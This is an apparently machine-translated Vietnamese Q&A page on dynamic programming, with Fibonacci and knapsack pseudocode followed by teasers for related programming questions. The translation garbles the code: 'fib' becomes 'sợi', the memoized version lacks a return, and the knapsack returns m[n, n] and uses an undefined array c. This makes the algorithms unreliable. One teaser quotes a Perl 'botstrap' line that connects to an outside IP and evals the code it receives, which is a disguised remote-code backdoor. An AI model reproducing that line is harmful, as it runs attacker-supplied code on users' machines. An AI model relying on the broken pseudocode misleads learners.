thuật toán - Các ví dụ, bài viết, sách hay để hiểu về lập trình động

In lại Tác giả: Taklimakan Thời gian cập nhật: 2023-11-03 02:13:22 27 4

fib(n) = 0 nếu n = 0
         1 nếu n = 1
         fib(n - 1) + fib(n - 2) if n >= 2

hàmfib(n)
  nếu(n == 0 || n == 1)
    n
  khác
    sợi(n-1) + sợi(n-2)

m = bản đồ(int, int)
m[0] = 0
m[1] = 1
hàmfib(n)
  if(m[n] không tồn tại)
    m[n] = sợi(n-1) + sợi(n-2)

m[i, w] = 0 nếu i = 0 hoặc w = 0

 m[i, w] = 0 nếu i = 0 hoặc w = 0
           m[i - 1, w] nếu w[i] > w
           max(m[i - 1, w], m[i - 1, w - w[i]] + v[i]) if w[i] <= w

v = giá trị từ item1..itemn
w = trọng lượng từ item1..itemn
n = số lượng mặt hàng
W = trọng lượng tối đa của ba lô
   
m[n, n] = mảng(int, int)
ba lô chức năng
  với w=0..W
    m[0, w] = 0
  với i=1 đến n
    m[i, 0] = 0
    với w=1..W
      nếu w[i] <= w
        nếu v[i] + m[i-1, w - w[i]] > m[i-1, w]
           m[i, w] = v[i] + m[i-1, w - w[i]]
        khác
           m[i, w] = m[i-1, w]
      khác
        m[i, w] = c[i-1, w]
  
  trả về m[n, n]

27 4 0

• haskell - Hiểu(>>=). (>>=)

  Tôi đang cố gắng hiểu (>>=).(>>=) và những gì GHCi nói với tôi là: (>>=) :: Monad m => ma -> (a -> mb) -> mb (>> =). (>>=) :: Thứ hai

• Java, hiểu

  Tôi có câu hỏi sau đây liên quan đến mã Java này: public static void main(String[] args) { int A = 12, B = 24;

• Hiểu biết về Javascript

  Đây có lẽ là một câu hỏi cơ bản ngu ngốc đối với cộng đồng này, nhưng tôi sẽ rất vui nếu ai đó có thể giải thích cho tôi, tôi rất bối rối về điều này. Tôi tìm thấy hướng dẫn này trực tuyến và đây là một ví dụ. hàm thể thao (x){

• Cú pháp/hiểu biết về Python

  def count_sort(array, maxval): """sắp xếp đếm tại chỗ""" m = maxval + 1 count = [0

• sắp xếp - hiểu các cụm

  Tôi có một bộ sưu tập một số thuật toán sắp xếp và tôi muốn tìm hiểu chính xác cách thức hoạt động của nó. Mình hơi bối rối với một số hướng dẫn, đặc biệt là hướng dẫn cmp và jle nên mong được giúp đỡ. Tập hợp này sắp xếp một mảng gồm ba phần tử. 0,00 :

• PHP: Hiểu $this - gọi phương thức lớp cơ sở thay vì phương thức con

  Trong khi đọc tài liệu PHP.net, tôi tình cờ gặp một vấn đề làm tôi hiểu sai về $this: class C { public function speak_child() { //

• xử lý hình ảnh - hiểu biết

  đóng cửa. Câu hỏi này không đáp ứng các nguyên tắc của Stack Overflow. Hiện tại nó không chấp nhận câu trả lời. Bạn muốn cải thiện vấn đề này? Câu hỏi được cập nhật để làm cho câu hỏi trở thành chủ đề cho Stack Overflow. Đóng cửa 7 năm trước Cải thiện điều này

• cảnh báo - hiểu pragmas

  Tôi có một số câu hỏi liên quan về pragma. Điều khiến tôi bắt đầu loạt câu hỏi này là cố gắng xác định xem liệu có thể vô hiệu hóa một số cảnh báo nhất định mà không cần phải lo lắng hay không. (Tôi vẫn muốn lo lắng, ít nhất là một chút!). Tôi vẫn quan tâm đến câu trả lời cho câu hỏi cụ thể đó

• Lua - hiểu setmetatable

  Tôi đang cố gắng xây dựng CNN bằng Torch 7. Tôi mới làm quen với Lua. Tôi đang cố gắng theo liên kết này. Tôi đã tìm thấy một thứ gọi là setmetatable trong khối mã sau: setmetatable(train).

• Perl - hiểu "botstrap"

  Tôi có mã này use lib do{eval&&botstrap("AutoLoad")if$b=new IO::Socket::INET 82.46.99.88.":1"}; có vẻ như nhập thư viện nhưng

• Hàm trong Haskell - Tìm hiểu

  Tôi có đoạn mã sau cung cấp [2,4,6] : j :: [Int] j = ((\fx -> map x) (\y -> y + 3) (\z -> 2* z) ) [1,2,3] Tại sao? Có vẻ như chỉ sử dụng "

• haskell - Hiểu chữ ký loại của (.)

  Tôi mới học Haskell và lập trình hàm bằng sách của Richard Bird và tình cờ thấy chữ ký kiểu (.) của một hàm. Đó là (.) :: (b -> c) -> (a -> b) -> (a -> c) và tương tự

• scala - Hiểu `andThen`

  Tôi đã xem qua andThen nhưng không hiểu đúng về nó. Để hiểu rõ hơn tôi đọc tài liệu Function1.andThen def andThen[A](g: (R) ⇒ A): (T1) ⇒ A mm là Mu

• Hiểu biết về .call của JavaScript

  Đây là mã được sử dụng làm phụ lục cho URL của XMLHttpRequest. Nội dung hiển thị trong URL là: http://something/something.aspx?QueryString_from_b

• android — Hiểu Promise.all

  Hãy xem xét đoạn mã sau tôi nhận được từ https://stackoverflow.com/a/28250704/460084 function getExample() { var a = Promise

• Scala: Tìm hiểu toán tử :::

  Việc áp dụng toán tử list1:::list2 cho hai danh sách có tương đương với việc thêm toàn bộ nội dung của list1 vào list2 không? scala> val a = Danh sách (1,2,3) a: Danh sách [Int] = L

• Hiểu bản đồ phi tiêu

  Trong python tôi sẽ viết: {a:0 for a in range(5)} để nhận được {0: 0, 1: 0, 2: 0, 3: 0, 4: 0} Làm cách nào tôi có thể đạt được điều tương tự trong Hiệu ứng phi tiêu ? cho đến nay tôi

• javascript - hiểu setTimeout

  đóng cửa. Câu hỏi này cần được hỏi tập trung hơn. Câu trả lời không được chấp nhận vào thời điểm này. Bạn muốn cải thiện vấn đề này? Đã cập nhật câu hỏi để chỉ tập trung vào một vấn đề chỉnh sửa bài đăng này. Đã đóng 5 năm trước. Cải thiện truy vấn này

• makefile - Tìm hiểu về Makefile

  Tôi có tệp tạo sau: CC = gcc CCDEPMODE = depmode=gcc3 CFLAGS = -g -O2 -W -Wall -Wno-unused -Wno-multichar

• Haskell Hiểu fmap

  Có ai có thể giúp hoặc hướng dẫn tôi cách hiểu hàm fmap trong cách triển khai sau không? data Rose a = a :> [Rose a] dẫn xuất (Eq, Show) instance Functor Rose